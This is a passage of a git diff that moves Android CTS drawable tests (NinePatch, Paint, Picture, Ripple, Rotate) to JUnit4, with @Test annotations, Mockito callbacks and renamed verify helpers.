     public void testSetFilterBitmap() {
         mNinePatchDrawable.setFilterBitmap(false);
         assertFalse(mNinePatchDrawable.getPaint().isFilterBitmap());
@@ -221,6 +242,7 @@
         assertTrue(mNinePatchDrawable.getPaint().isFilterBitmap());
     }
 
+    @Test
     public void testIsFilterBitmap() {
         mNinePatchDrawable.setFilterBitmap(false);
         assertFalse(mNinePatchDrawable.isFilterBitmap());
@@ -234,6 +256,7 @@
                 mNinePatchDrawable.getPaint().isFilterBitmap());
     }
 
+    @Test
     public void testGetPaint() {
         Paint paint = mNinePatchDrawable.getPaint();
         assertNotNull(paint);
@@ -241,6 +264,7 @@
         assertSame(paint, mNinePatchDrawable.getPaint());
     }
 
+    @Test
     public void testGetIntrinsicWidth() {
         Bitmap bmp = getBitmapUnscaled(R.drawable.ninepatch_0);
         assertEquals(bmp.getWidth(), mNinePatchDrawable.getIntrinsicWidth());
@@ -252,6 +276,7 @@
         assertEquals(9, mNinePatchDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testGetMinimumWidth() {
         Bitmap bmp = getBitmapUnscaled(R.drawable.ninepatch_0);
         assertEquals(bmp.getWidth(), mNinePatchDrawable.getMinimumWidth());
@@ -263,6 +288,7 @@
         assertEquals(9, mNinePatchDrawable.getMinimumWidth());
     }
 
+    @Test
     public void testGetIntrinsicHeight() {
         Bitmap bmp = getBitmapUnscaled(R.drawable.ninepatch_0);
         assertEquals(bmp.getHeight(), mNinePatchDrawable.getIntrinsicHeight());
@@ -274,6 +300,7 @@
         assertEquals(9, mNinePatchDrawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testGetMinimumHeight() {
         Bitmap bmp = getBitmapUnscaled(R.drawable.ninepatch_0);
         assertEquals(bmp.getHeight(), mNinePatchDrawable.getMinimumHeight());
@@ -287,13 +314,16 @@
 
     // Known failure: Bug 2834281 - Bitmap#hasAlpha seems to return true for
     // images without alpha
-    public void suppress_testGetOpacity() {
+    @Ignore
+    @Test
+    public void testGetOpacity() {
         assertEquals(PixelFormat.OPAQUE, mNinePatchDrawable.getOpacity());
 
         mNinePatchDrawable = getNinePatchDrawable(R.drawable.ninepatch_1);
         assertEquals(PixelFormat.TRANSLUCENT, mNinePatchDrawable.getOpacity());
     }
 
+    @Test
     public void testGetTransparentRegion() {
         // opaque image
         Region r = mNinePatchDrawable.getTransparentRegion();
@@ -314,6 +344,7 @@
         assertEquals(new Rect(1, 1, 7, 7), r.getBounds());
     }
 
+    @Test
     public void testGetConstantState() {
         assertNotNull(mNinePatchDrawable.getConstantState());
 
@@ -326,6 +357,7 @@
         assertEquals(0xff, constantState.getChangingConfigurations());
     }
 
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         int sourceWidth = 80;
         int sourceHeight = 120;
@@ -357,6 +389,7 @@
         assertTrue(sourceWidth != ninePatchDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testMutate() {
         NinePatchDrawable d1 =
             (NinePatchDrawable) mResources.getDrawable(R.drawable.ninepatchdrawable);
@@ -395,11 +428,11 @@
         void setTargetDensity(NinePatchDrawable dr, int density);
     }
 
-    private void testSetTargetDensityOuter(TargetDensitySetter densitySetter) {
+    private void verifySetTargetDensityOuter(TargetDensitySetter densitySetter) {
         final Resources res = mResources;
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            testSetTargetDensityInner(res, DENSITY_IMAGES[0], DENSITY_VALUES, densitySetter);
+            verifySetTargetDensityInner(res, DENSITY_IMAGES[0], DENSITY_VALUES, densitySetter);
         } catch (IOException | XmlPullParserException e) {
             throw new RuntimeException(e);
         } finally {
@@ -407,7 +440,7 @@
         }
     }
 
-    private void testSetTargetDensityInner(Resources res, int sourceResId, int[] densities,
+    private void verifySetTargetDensityInner(Resources res, int sourceResId, int[] densities,
             TargetDensitySetter densitySetter) throws XmlPullParserException, IOException {
         final Rect tempPadding = new Rect();
 
@@ -455,53 +488,46 @@
         }
     }
 
+    @Test
     public void testSetTargetDensity() {
-        testSetTargetDensityOuter(new TargetDensitySetter() {
-            @Override
-            public void setTargetDensity(NinePatchDrawable dr, int density) {
-                dr.setTargetDensity(density);
-            }
-        });
+        verifySetTargetDensityOuter((dr, density) -> dr.setTargetDensity(density));
     }
 
+    @Test
     public void testSetTargetDensity_Canvas() {
         // This should be identical to calling setTargetDensity(int) with the
         // value returned by Canvas.getDensity().
-        testSetTargetDensityOuter(new TargetDensitySetter() {
-            @Override
-            public void setTargetDensity(NinePatchDrawable dr, int density) {
-                Canvas c = new Canvas();
-                c.setDensity(density);
-                dr.setTargetDensity(c);
-            }
+        verifySetTargetDensityOuter((dr, density) -> {
+            Canvas c = new Canvas();
+            c.setDensity(density);
+            dr.setTargetDensity(c);
         });
     }
 
+    @Test
     public void testSetTargetDensity_DisplayMetrics() {
         // This should be identical to calling setTargetDensity(int) with the
         // value of DisplayMetrics.densityDpi.
-        testSetTargetDensityOuter(new TargetDensitySetter() {
-            @Override
-            public void setTargetDensity(NinePatchDrawable dr, int density) {
-                DisplayMetrics dm = new DisplayMetrics();
-                dm.densityDpi = density;
-                dr.setTargetDensity(dm);
-            }
+        verifySetTargetDensityOuter((dr, density) -> {
+            DisplayMetrics dm = new DisplayMetrics();
+            dm.densityDpi = density;
+            dr.setTargetDensity(dm);
         });
     }
 
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
         final Resources res = mResources;
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            testPreloadDensityInner(res, DENSITY_IMAGES[0], DENSITY_VALUES,
+            verifyPreloadDensityInner(res, DENSITY_IMAGES[0], DENSITY_VALUES,
                     DENSITY_GOLDEN_IMAGES[0]);
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private void testPreloadDensityInner(Resources res, int sourceResId, int[] densities,
+    private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities,
             int[] goldenResIds) throws XmlPullParserException, IOException {
         // Capture initial state at preload density.
         final int preloadDensityDpi = densities[0];
@@ -560,17 +586,18 @@
         return preloadedDrawable;
     }
 
+    @Test
     public void testOutlinePreloadDensity() throws XmlPullParserException, IOException {
         final Resources res = mResources;
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            testOutlinePreloadDensityInner(res);
+            verifyOutlinePreloadDensityInner(res);
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private static void testOutlinePreloadDensityInner(Resources res)
+    private static void verifyOutlinePreloadDensityInner(Resources res)
             throws XmlPullParserException, IOException {
         // Capture initial state at preload density.
         final int preloadDensityDpi = DENSITY_VALUES[0];
@@ -612,7 +639,7 @@
         }
     }
 
-    private void assertColorFillRect(Bitmap bmp, int x, int y, int w, int h, int color) {
+    private void verifyColorFillRect(Bitmap bmp, int x, int y, int w, int h, int color) {
         for (int i = x; i < x + w; i++) {
             for (int j = y; j < y + h; j++) {
                 assertEquals(color, bmp.getPixel(i, j));
@@ -688,7 +715,4 @@
             }
         }
     }
-
-    private class MockColorFilter extends ColorFilter {
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
index fdb8f2f..30a07f7 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
@@ -16,30 +16,50 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
 import android.graphics.Rect;
+import android.graphics.cts.R;
 import android.graphics.drawable.PaintDrawable;
 import android.graphics.drawable.shapes.RoundRectShape;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class PaintDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PaintDrawableTest {
+    private Resources mResources;
+
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
+    }
+
+    @Test
     public void testConstructor() {
         new PaintDrawable();
         new PaintDrawable(0x0);
         new PaintDrawable(0xffffffff);
     }
 
+    @Test
     public void testSetCornerRadius() {
         PaintDrawable paintDrawable;
 
@@ -64,6 +84,7 @@
         assertNull(paintDrawable.getShape());
     }
 
+    @Test
     public void testSetCornerRadii() {
         PaintDrawable paintDrawable;
 
@@ -100,10 +121,11 @@
         assertTrue(paintDrawable.getShape() instanceof RoundRectShape);
     }
 
+    @Test
     public void testInflateTag() throws XmlPullParserException, IOException {
         // Test name is not 'corners', and default executing path will load super's method.
         XmlResourceParser parser = getParser();
-        AttributeSet attr = getAtrributeSet(parser);
+        AttributeSet attr = getAttributeSet(parser);
         assertNotNull(attr);
         gotoTag(parser, "padding");
         Rect padding = new Rect(0, 0, 10, 10);
@@ -114,20 +136,19 @@
         //If the Tagname is not 'corners',inflateTag will invoke its super's version. and the super
         // version is a operation on mPadding, in this case, it will set mPadding to null, and
         // return false by getPadding.
-        assertTrue(paintDrawable.inflateTag("padding", getContext().getResources(), parser, attr));
+        assertTrue(paintDrawable.inflateTag("padding", mResources, parser, attr));
         assertFalse(paintDrawable.getPadding(padding));
 
         // Test tag-name with ''
         parser = getParser();
-        attr = getAtrributeSet(parser);
+        attr = getAttributeSet(parser);
         assertNotNull(attr);
-        assertFalse(new MyPaintDrawable().inflateTag("", getContext().getResources(), parser,
-                attr));
+        assertFalse(new MyPaintDrawable().inflateTag("", mResources, parser, attr));
 
         // Exceptional input Tests
         try {
             // null tag name
-            new MyPaintDrawable().inflateTag(null, getContext().getResources(), parser, attr);
+            new MyPaintDrawable().inflateTag(null, mResources, parser, attr);
             fail("Normally the function would throw a NullPointerException here.");
         } catch (NullPointerException e) {
             // expected
@@ -144,15 +165,15 @@
 
         // null XmlPullParser
         parser = getParser();
-        attr = getAtrributeSet(parser);
+        attr = getAttributeSet(parser);
         assertNotNull(attr);
         gotoTag(parser, "padding");
         paintDrawable = new MyPaintDrawable();
-        assertTrue(paintDrawable.inflateTag("padding", getContext().getResources(), null, attr));
+        assertTrue(paintDrawable.inflateTag("padding", mResources, null, attr));
 
         try {
             // null AttributeSet
-            new MyPaintDrawable().inflateTag("padding", getContext().getResources(), parser, null);
+            new MyPaintDrawable().inflateTag("padding", mResources, parser, null);
             fail("Normally the function would throw a NullPointerException here.");
         } catch (NullPointerException e) {
             // expected
@@ -161,18 +182,18 @@
         assertNull(paintDrawable.getShape());
 
         parser = getParser();
-        attr = getAtrributeSet(parser);
+        attr = getAttributeSet(parser);
         assertNotNull(attr);
         gotoTag(parser, "corners");
-        assertTrue(paintDrawable.inflateTag("corners", getContext().getResources(), parser, attr));
+        assertTrue(paintDrawable.inflateTag("corners", mResources, parser, attr));
         assertNotNull(paintDrawable.getShape());
     }
 
     private XmlResourceParser getParser() {
-        return getContext().getResources().getXml(R.drawable.paintdrawable_attr);
+        return mResources.getXml(R.drawable.paintdrawable_attr);
     }
 
-    private AttributeSet getAtrributeSet(XmlResourceParser parser) throws XmlPullParserException,
+    private AttributeSet getAttributeSet(XmlResourceParser parser) throws XmlPullParserException,
             IOException {
         int type;
         // FIXME: this come from
@@ -212,7 +233,7 @@
         }
     }
 
-    private PaintDrawable getPaintDrawable(boolean hasShape) {
+    private static PaintDrawable getPaintDrawable(boolean hasShape) {
         PaintDrawable paintDrawable = new PaintDrawable();
         if (hasShape) {
             paintDrawable.setCornerRadius(1.5f);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
index 514f5d5..5aed95c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
@@ -16,6 +16,9 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
@@ -23,14 +26,22 @@
 import android.graphics.Picture;
 import android.graphics.PixelFormat;
 import android.graphics.drawable.PictureDrawable;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PictureDrawableTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PictureDrawableTest {
+    @Test
     public void testConstructor() {
         assertNull((new PictureDrawable(null)).getPicture());
         assertNotNull((new PictureDrawable(new Picture())).getPicture());
     }
 
+    @Test
     public void testDraw() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
 
@@ -57,6 +68,7 @@
         assertEquals(0xff0a0c0b, destBitmap.getPixel(10, 10));
     }
 
+    @Test
     public void testGetIntrinsicSize() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
         // Test with null Picture object
@@ -71,16 +83,19 @@
         assertEquals(101, pictureDrawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testGetOpacity() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
         assertEquals(PixelFormat.TRANSLUCENT, pictureDrawable.getOpacity());
     }
 
+    @Test
     public void testSetAlpha() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
         pictureDrawable.setAlpha(0);
     }
 
+    @Test
     public void testSetColorFilter() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
 
@@ -88,16 +103,19 @@
         pictureDrawable.setColorFilter(colorFilter);
     }
 
+    @Test
     public void testSetDither() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
         pictureDrawable.setDither(true);
     }
 
+    @Test
     public void testSetFilterBitmap() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
         pictureDrawable.setFilterBitmap(true);
     }
 
+    @Test
     public void testAccessPicture() {
         PictureDrawable pictureDrawable = new PictureDrawable(null);
         assertNull(pictureDrawable.getPicture());
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
index 2e46a09..4f6bf6d 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
@@ -16,10 +16,12 @@
 
 package android.graphics.drawable.cts;
 
-import static org.mockito.Mockito.*;
+import static org.junit.Assert.assertEquals;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
-import org.xmlpull.v1.XmlPullParserException;
-
+import android.content.Context;
 import android.content.res.ColorStateList;
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
@@ -29,16 +31,34 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.RippleDrawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class RippleDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RippleDrawableTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testConstructor() {
         new RippleDrawable(ColorStateList.valueOf(Color.RED), null, null);
     }
 
+    @Test
     public void testAccessRadius() {
         RippleDrawable drawable =
             new RippleDrawable(ColorStateList.valueOf(Color.RED), null, null);
@@ -47,23 +67,25 @@
         assertEquals(10, drawable.getRadius());
     }
 
+    @Test
     public void testRadiusAttr() {
         RippleDrawable drawable =
-                (RippleDrawable) getContext().getDrawable(R.drawable.rippledrawable_radius);
+                (RippleDrawable) mContext.getDrawable(R.drawable.rippledrawable_radius);
         assertEquals(10, drawable.getRadius());
     }
 
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
-        final Resources res = getContext().getResources();
+        final Resources res = mContext.getResources();
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            testPreloadDensityInner(res, densityDpi);
+            verifyPreloadDensityInner(res, densityDpi);
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private void testPreloadDensityInner(Resources res, int densityDpi)
+    private void verifyPreloadDensityInner(Resources res, int densityDpi)
             throws XmlPullParserException, IOException {
         // Capture initial state at default density.
         final XmlResourceParser parser = DrawableTestUtils.getResourceParser(
@@ -101,6 +123,7 @@
         assertEquals(initialRadius, doubleDrawable.getRadius());
     }
 
+    @Test
     public void testSetColor() {
         Drawable.Callback cb = mock(Drawable.Callback.class);
         RippleDrawable dr = new RippleDrawable(ColorStateList.valueOf(Color.RED), null, null);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
index e51edc1..00844f9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
@@ -16,51 +16,75 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.graphics.drawable.RotateDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.Xml;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.PixelFormat;
-import android.graphics.Rect;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Drawable.ConstantState;
-import android.graphics.drawable.RotateDrawable;
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.Xml;
-
-public class RotateDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RotateDrawableTest {
+    private Resources mResources;
     private RotateDrawable mRotateDrawable;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        Resources resources = mContext.getResources();
-        mRotateDrawable = (RotateDrawable) resources.getDrawable(R.drawable.rotatedrawable);
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
+        mRotateDrawable = (RotateDrawable) mResources.getDrawable(R.drawable.rotatedrawable);
     }
 
+    @Test
     public void testConstructor() {
         new RotateDrawable();
     }
 
+    @Test
     public void testDraw() {
         Canvas canvas = new Canvas();
         mRotateDrawable.draw(canvas);
     }
 
+    @Test
     public void testInflate() {
         RotateDrawable d;
 
-        d = (RotateDrawable) mContext.getResources().getDrawable(R.drawable.rotatedrawable_rel);
+        d = (RotateDrawable) mResources.getDrawable(R.drawable.rotatedrawable_rel);
         assertEquals(0.1f, d.getPivotX(), 0.01f);
         assertEquals(0.2f, d.getPivotY(), 0.01f);
         assertEquals(360.0f, d.getFromDegrees(), 0.01f);
@@ -68,7 +92,7 @@
         assertEquals(true, d.isPivotXRelative());
         assertEquals(true, d.isPivotYRelative());
 
-        d = (RotateDrawable) mContext.getResources().getDrawable(R.drawable.rotatedrawable_abs);
+        d = (RotateDrawable) mResources.getDrawable(R.drawable.rotatedrawable_abs);
         assertEquals(0.3f, d.getPivotX(), 0.01f);
         assertEquals(0.3f, d.getPivotY(), 0.01f);
         assertEquals(180.0f, d.getFromDegrees(), 0.01f);
@@ -77,6 +101,7 @@
         assertEquals(false, d.isPivotYRelative());
     }
 
+    @Test
     public void testSetPivot() {
         RotateDrawable d = new RotateDrawable();
         assertEquals(0.5f, d.getPivotX(), 0.01f);
@@ -97,6 +122,7 @@
         assertEquals(false, d.isPivotYRelative());
     }
 
+    @Test
     public void testSetDegrees() {
         RotateDrawable d = new RotateDrawable();
         assertEquals(0.0f, d.getFromDegrees(), 0.01f);
@@ -111,6 +137,7 @@
         assertEquals(-10.0f, d.getFromDegrees(), 0.01f);
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         assertEquals(0, mRotateDrawable.getChangingConfigurations());
 
@@ -121,6 +148,7 @@
         assertEquals(Configuration.KEYBOARD_12KEY, mRotateDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testSetAlpha() {
         mRotateDrawable.setAlpha(100);
         assertEquals(100, ((BitmapDrawable) mRotateDrawable.getDrawable()).getPaint().getAlpha());
@@ -129,6 +157,7 @@
         assertEquals(255, ((BitmapDrawable) mRotateDrawable.getDrawable()).getPaint().getAlpha());
     }
 
+    @Test
     public void testSetColorFilter() {
         ColorFilter filter = new ColorFilter();
         mRotateDrawable.setColorFilter(filter);
@@ -139,68 +168,67 @@
         assertNull(((BitmapDrawable) mRotateDrawable.getDrawable()).getPaint().getColorFilter());
     }
 
+    @Test
     public void testGetOpacity() {
         assertEquals(PixelFormat.OPAQUE, mRotateDrawable.getOpacity());
     }
 
+    @Test
     public void testInvalidateDrawable() {
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.pass);
-        MockCallback callback = new MockCallback();
+        Drawable drawable = mResources.getDrawable(R.drawable.pass);
+        Drawable.Callback callback = mock(Drawable.Callback.class);
 
         mRotateDrawable.setCallback(callback);
         mRotateDrawable.invalidateDrawable(null);
-        assertTrue(callback.hasCalledInvalidate());
+        verify(callback, times(1)).invalidateDrawable(any());
 
-        callback.reset();
+        reset(callback);
         mRotateDrawable.invalidateDrawable(drawable);
-        assertTrue(callback.hasCalledInvalidate());
+        verify(callback, times(1)).invalidateDrawable(any());
 
-        callback.reset();
+        reset(callback);
         mRotateDrawable.setCallback(null);
         mRotateDrawable.invalidateDrawable(drawable);
-        assertFalse(callback.hasCalledInvalidate());
+        verify(callback, never()).invalidateDrawable(any());
     }
 
+    @Test
     public void testScheduleDrawable() {
-        MockCallback callback = new MockCallback();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
 
         mRotateDrawable.setCallback(callback);
         mRotateDrawable.scheduleDrawable(null, null, 0);
-        assertTrue(callback.hasCalledSchedule());
+        verify(callback, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        callback.reset();
-        mRotateDrawable.scheduleDrawable(new BitmapDrawable(), new Runnable() {
-            public void run() {
-            }
-        }, 1000L);
-        assertTrue(callback.hasCalledSchedule());
+        reset(callback);
+        mRotateDrawable.scheduleDrawable(new ColorDrawable(Color.RED), () -> {}, 1000L);
+        verify(callback, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        callback.reset();
+        reset(callback);
         mRotateDrawable.setCallback(null);
         mRotateDrawable.scheduleDrawable(null, null, 0);
-        assertFalse(callback.hasCalledSchedule());
+        verify(callback, never()).scheduleDrawable(any(), any(), anyLong());
     }
 
+    @Test
     public void testUnscheduleDrawable() {
-        MockCallback callback = new MockCallback();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
 
         mRotateDrawable.setCallback(callback);
         mRotateDrawable.unscheduleDrawable(null, null);
-        assertTrue(callback.hasCalledUnschedule());
+        verify(callback, times(1)).unscheduleDrawable(any(), any());
 
-        callback.reset();
-        mRotateDrawable.unscheduleDrawable(new BitmapDrawable(), new Runnable() {
-            public void run() {
-            }
-        });
-        assertTrue(callback.hasCalledUnschedule());
+        reset(callback);
+        mRotateDrawable.unscheduleDrawable(new ColorDrawable(Color.RED), () -> {});
+        verify(callback, times(1)).unscheduleDrawable(any(), any());
 
-        callback.reset();
+        reset(callback);
         mRotateDrawable.setCallback(null);
         mRotateDrawable.unscheduleDrawable(null, null);
-        assertFalse(callback.hasCalledUnschedule());
+        verify(callback, never()).unscheduleDrawable(any(), any());
     }
 
+    @Test
     public void testGetPadding() {
         Rect rect = new Rect();
         assertFalse(mRotateDrawable.getPadding(rect));
@@ -210,6 +238,7 @@
         assertEquals(0, rect.bottom);
     }
 
+    @Test
     public void testSetVisible() {
         assertTrue(mRotateDrawable.isVisible());
 
@@ -223,105 +252,68 @@
         assertTrue(mRotateDrawable.isVisible());
     }
 
+    @Test
     public void testIsStateful() {
         assertFalse(mRotateDrawable.isStateful());
     }
 
-    public void testMethods() {
-        // implementation details, do not test.
-    }
-
+    @Test
     public void testGetIntrinsicWidthAndHeight() throws XmlPullParserException, IOException {
         // testimage is set in res/drawable/rotatedrawable.xml
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.testimage);
+        Drawable drawable = mResources.getDrawable(R.drawable.testimage);
         assertEquals(drawable.getIntrinsicWidth(), mRotateDrawable.getIntrinsicWidth());
         assertEquals(drawable.getIntrinsicHeight(), mRotateDrawable.getIntrinsicHeight());
 
         RotateDrawable rotateDrawable = new RotateDrawable();
-        Resources r = mContext.getResources();
-        XmlPullParser parser = r.getXml(R.drawable.rotatedrawable);
+        XmlPullParser parser = mResources.getXml(R.drawable.rotatedrawable);
         while (parser.next() != XmlPullParser.START_TAG) {
             // ignore event, just seek to first tag
         }
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        rotateDrawable.inflate(r, parser, attrs);
+        rotateDrawable.inflate(mResources, parser, attrs);
         assertEquals(drawable.getIntrinsicWidth(), rotateDrawable.getIntrinsicWidth());
         assertEquals(drawable.getIntrinsicHeight(), rotateDrawable.getIntrinsicHeight());
-
-        try {
-            mRotateDrawable.inflate(null, null, null);
-            fail("did not throw NullPointerException when parameters are null.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testInflateNull() throws XmlPullParserException, IOException {
+        mRotateDrawable.inflate(null, null, null);
+    }
+
+    @Test
     public void testGetConstantState() {
         ConstantState state = mRotateDrawable.getConstantState();
         assertNotNull(state);
     }
 
+    @Test
     public void testMutate() {
-        Resources resources = mContext.getResources();
+        RotateDrawable d1 = (RotateDrawable) mResources.getDrawable(R.drawable.rotatedrawable);
+        RotateDrawable d2 = (RotateDrawable) mResources.getDrawable(R.drawable.rotatedrawable);
+        RotateDrawable d3 = (RotateDrawable) mResources.getDrawable(R.drawable.rotatedrawable);
 
-        RotateDrawable d1 = (RotateDrawable) resources.getDrawable(R.drawable.rotatedrawable);
-        RotateDrawable d2 = (RotateDrawable) resources.getDrawable(R.drawable.rotatedrawable);
-        RotateDrawable d3 = (RotateDrawable) resources.getDrawable(R.drawable.rotatedrawable);
+        int restoreAlpha = d1.getAlpha();
 
-        d1.setAlpha(100);
-        assertEquals(100, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+        try {
+            // verify bad behavior - modify before mutate pollutes other drawables
+            d1.setAlpha(100);
+            assertEquals(100, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
 
-        d1.mutate();
-        d1.setAlpha(200);
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+            d1.mutate();
+            d1.setAlpha(200);
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
 
-        d2.setAlpha(50);
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
-    }
-
